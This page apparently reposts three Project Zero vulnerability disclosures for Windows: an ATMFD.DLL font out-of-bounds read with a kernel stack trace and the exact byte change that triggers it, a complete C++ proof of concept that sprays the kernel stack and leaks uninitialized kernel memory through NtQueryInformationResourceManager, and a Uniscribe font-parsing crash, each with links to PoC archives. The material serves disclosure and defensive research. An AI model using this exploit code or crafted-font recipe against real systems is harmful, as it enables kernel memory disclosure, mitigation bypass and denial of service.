DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0xD6

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

ANALYSIS_SESSION_HOST:  WIN7-32-VM

ANALYSIS_SESSION_TIME:  03-21-2017 10:49:20.0375

ANALYSIS_VERSION: 10.0.10586.567 x86fre

LAST_CONTROL_TRANSFER:  from 8f636088 to 8f635862

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
9625f538 8f636088 9625f790 05f70000 9625f790 ATMFD+0x35862
9625f630 8f6355b1 9625f790 05f70000 9625f64c ATMFD+0x36088
9625f734 8f635711 9625f790 05f70000 9625f868 ATMFD+0x355b1
9625f768 8f6051b0 00000000 9625f790 05f70000 ATMFD+0x35711
9625f808 8f607279 00000004 00000001 00000002 ATMFD+0x51b0
9625f888 8f603d14 00000000 00000000 94bb3200 ATMFD+0x7279
9625f96c 8f6e7b8d 00000004 fbad2fc0 fbadaff8 ATMFD+0x3d14
9625f9b4 8f6e7adf 00000001 fbad2fc0 fbadaff8 win32k!PDEVOBJ::LoadFontFile+0x3c
9625f9f4 8f6e74fc ffa6a130 0000002e fbad2fc0 win32k!vLoadFontFileView+0x291
9625fa80 8f6d6403 9625fb58 0000002e 00000001 win32k!PUBLIC_PFTOBJ::bLoadFonts+0x209
9625facc 8f6d73d8 9625fb58 0000002e 00000001 win32k!GreAddFontResourceWInternal+0xfb
9625fc14 8164ddb6 000d9b78 0000002e 00000001 win32k!NtGdiAddFontResourceW+0x142
9625fc14 77ad6c74 000d9b78 0000002e 00000001 nt!KiSystemServicePostCall
---

The bugcheck is caused by an attempt to read memory from an unmapped address. The specific expression being dereferenced by ATMFD.DLL is "base address of the Name INDEX data + NAME.offset[x] - 1", however no bounds checking is performed over the value of NAME.offset[x] before using it for pointer arithmetic. To our current knowledge, this condition can only lead to an out-of-bounds read, thus limiting the impact of the bug to remote denial of service, or potentially local kernel memory disclosure. However, we have not fully confirmed that the severity of the bug is not in fact more significant due to some further ATMFD logic we are not aware of.

Interestingly, the crash is almost identical to the one reported in  Issue #386  (MSRC-30296) nearly two years ago, which was supposedly fixed as CVE-2015-2461 in the MS15-080 bulletin. The fact that the same bugcheck still reproduces can potentially mean that the patch was insufficient.

Only a single bitflip applied to a valid font file is sufficient to create an offending testcase (excluding SFNT table checksums). In our case, the byte at offset 0x375 in the original sample must be changed from 0x01 to 0x41. This corresponds to offset 0x71 of the "CFF " table. The PoC font can be found attached to this tracker entry.

The issue reproduces on Windows 7 (other platforms untested). It is easiest to reproduce with Special Pools enabled for ATMFD.DLL, leading to an immediate crash when the bug is triggered. The bugcheck occurs upon opening the font in any default utility such as the Windows Font Viewer -- no special tools are required.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42243.zip
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1207

We have discovered that the nt!NtQueryInformationResourceManager system call called with the 0 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.

The specific name of the 0 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 24 bytes is accepted. At the end of that memory area, 2 uninitialized bytes from the kernel stack can be leaked to the client application.

The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=0 and the allowed output size. An example output is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ......AA........
--- cut ---

It is clearly visible here that 2 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <KtmW32.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationResourceManager = 0x00b6;

  // Create a volatile transaction manager.
  HANDLE hManager = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
  if (hManager == INVALID_HANDLE_VALUE) {
    printf("CreateTransactionManager failed, %d\n", GetLastError());
    return 1;
  }

  // Create a resource manager.
  GUID guid;
  ZeroMemory(&guid, sizeof(guid));

  HANDLE hResource = CreateResourceManager(NULL, &guid, RESOURCE_MANAGER_VOLATILE, hManager, NULL);
  if (hResource == INVALID_HANDLE_VALUE) {
    printf("CreateResourceManager failed, %d\n", GetLastError());
    CloseHandle(hManager);
    return 1;
  }

  // Spray the kernel stack to get visible results.
  SprayKernelStack();

  // Trigger the vulnerability and print out the output structure.
  BYTE output[24] = { /* zero padding */ };
  DWORD ReturnLength;
  NTSTATUS st = SystemCall32(__NR_NtQueryInformationResourceManager, hResource, 0, output, sizeof(output), &ReturnLength);

  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationResourceManager failed, %x\n", st);
    CloseHandle(hManager);
    CloseHandle(hResource);
    return 1;
  }

  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hManager);
  CloseHandle(hResource);

  return 0;
}
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1205

We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlReverseChainingLookup::apply function, while trying to display text using a corrupted TTF font file:

---
(678.6c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0360c018 ebx=0000ffff ecx=035acffa edx=00000012 esi=0012efa8 edi=0000ffff
eip=7750786b esp=0012e9fc ebp=0012ea38 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
USP10!otlReverseChainingLookup::apply+0xbb:
7750786b 0fb700          movzx   eax,word ptr [eax]       ds:0023:0360c018=????
0:000> kb
 # ChildEBP RetAddr  Args to Child              
00 0012ea38 77501533 0012ef8c 0012efa8 0012eebc USP10!otlReverseChainingLookup::apply+0xbb
01 0012eaa0 77508c6f 00000000 0012ef8c 00000022 USP10!ApplyLookup+0x2b3
02 0012eb24 77508531 0012eb90 42555347 0012ef8c USP10!applyContextLookups+0x21f
03 0012ebf8 77501508 42555347 0012ef8c 015acc64 USP10!otlChainingLookup::apply+0x701
04 0012ec78 775039f1 00000000 0012ef8c 00000040 USP10!ApplyLookup+0x288
05 0012ee7c 774fefcf 42555347 0012efb8 0012ef8c USP10!ApplyFeatures+0x481
06 0012eec8 774fb203 00000000 035aeffa 035aef70 USP10!SubstituteOtlGlyphs+0x1bf
07 0012eef4 774f6edc 0012ef24 0012ef9c 0012efb8 USP10!ShapingLibraryInternal::SubstituteOtlGlyphsWithLanguageFallback+0x23
08 0012f160 774e55da 0012f26c 0012f298 0012f280 USP10!GenericEngineGetGlyphs+0xa1c
09 0012f220 774e273f 0012f26c 0012f298 0012f280 USP10!ShapingGetGlyphs+0x36a
0a 0012f308 774b5c6f a801011c 03586124 03586318 USP10!ShlShape+0x2ef
0b 0012f34c 774c174a a801011c 03586124 03586318 USP10!ScriptShape+0x15f
0c 0012f3ac 774c2bd4 00000000 00000000 0012f42c USP10!RenderItemNoFallback+0xfa
0d 0012f3d8 774c2e62 00000000 00000000 0012f42c USP10!RenderItemWithFallback+0x104
0e 0012f3fc 774c43f9 00000000 0012f42c 03586124 USP10!RenderItem+0x22
0f 0012f440 774b7a04 000004a0 00000400 a801011c USP10!ScriptStringAnalyzeGlyphs+0x1e9
10 0012f458 760a1736 a801011c 03586040 0000000a USP10!ScriptStringAnalyse+0x284
11 0012f4a4 760a18c1 a801011c 0012f928 0000000a LPK!LpkStringAnalyse+0xe5
12 0012f5a0 760a17b4 a801011c 00000000 00000000 LPK!LpkCharsetDraw+0x332
13 0012f5d4 77df56a9 a801011c 00000000 00000000 LPK!LpkDrawTextEx+0x40
14 0012f614 77df5a64 a801011c 00000000 00000000 USER32!DT_DrawStr+0x13c
15 0012f660 77df580f a801011c 0012f928 0012f93c USER32!DT_GetLineBreak+0x78
16 0012f70c 77df5882 a801011c 00000000 0000000a USER32!DrawTextExWorker+0x250
17 0012f730 77df5b68 a801011c 0012f928 ffffffff USER32!DrawTextExW+0x1e
[...]
---

The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached are 2 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42241.zip